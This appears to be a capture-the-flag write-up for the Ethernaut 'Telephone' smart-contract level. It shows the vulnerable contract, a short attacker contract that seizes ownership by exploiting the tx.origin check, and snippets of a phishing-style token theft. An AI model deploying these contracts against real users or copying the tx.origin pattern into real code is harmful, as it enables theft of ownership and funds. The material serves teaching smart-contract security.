Telephone

Claim ownership of the contract below to complete this level.

Things that might help

  • See the "?" page above, section “Beyond the console”
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

This is one is pretty straight forward, here is the attacker contract we can deploy:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Telephone {
  function changeOwner(address _owner) external;
}

contract CoinFlipAttack {

   Telephone telephone;

  constructor(address target) {
    telephone = Telephone(target);
  }

  function attack() public {
    telephone.changeOwner(msg.sender);
  }
}

While this example may be simple, confusing tx.origin with msg.sender can lead to phishing-style attacks, such as this.

An example of a possible attack is outlined below.

  1. Use tx.origin to determine whose tokens to transfer, e.g.
function transfer(address _to, uint _value) {
  tokens[tx.origin] -= _value;
  tokens[_to] += _value;
}
  1. Attacker gets victim to send funds to a malicious contract that calls the transfer function of the token contract, e.g.
function () payable {
  token.transfer(attackerAddress, 10000);
}
  1. In this scenario, tx.origin will be the victim’s address (while msg.sender will be the malicious contract’s address), resulting in the funds being transferred from the victim to the attacker.